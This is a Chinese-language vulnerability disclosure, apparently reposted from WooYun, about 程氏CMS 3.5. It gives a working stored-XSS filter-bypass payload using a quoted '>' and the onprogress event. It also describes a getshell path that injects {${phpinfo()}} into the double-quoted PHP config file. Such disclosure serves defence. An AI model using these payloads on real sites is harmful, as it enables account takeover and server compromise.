发表文章处。 先提交一段测试代码。 <img src=x/onerror=x>onerror onxxxx<img src=x onxxxx=><x xx onxxxx=x> 发现 结果只剩下了 onxxxx。 那么 其机制大概是这样的。 先过滤掉 onerror之类的危险字符串。再将 <>标签内的onxxx给过滤掉 上次我是这样绕过的 WooYun: 程氏舞曲储存型xss (4) #2处xss 如果我换成 ' 包裹住 > 会怎样呢? 提交 <img src=x ='>' onxxxx=>。 这下没过滤了。剩下的就是找个没有在白名单里的 事件了。 像这样 alert <video src="xxx.xxx.xxx/a"a='>' onprogress=alert(1)>
(该事件测试于 谷歌浏览器) 后台getshell就很简单了, 看到/csdj/lib/Cs_Config.php的代码 <?php define("Web_Name","程氏CMS3.5"); //站点名称 define("Web_Url","localhost"); //站点域名 define("Web_Path","/"); //站点路径 define("Admin_Code","aaaaaa"); //后台验证码 define("Admin_Url",""); //后台访问域名,留空为取消 define("Web_Off",0); //网站开关 define("Web_Onneir","网站升级中..."); //网站关闭内容 define("Web_Mode",1); //网站运行模式 define("Html_Wjt",".htaccess"); //伪静态模式 define("Html_Index","index.html"); //主 ............. 双引号,所以可以通过 {${phpinfo()}}这种格式直接执行php代码.
触发xss后可以利用js提交数据getshell 此前已有实例 就不写js代码了 修复方案:加强过滤 :) |
-
上一篇: TinyShop 多处sql注入#2 - 网站安全 - 自学php
下一篇: 赶集网远程代码执行漏洞(啥都有) - 网站安全 -
还没有人抢沙发呢~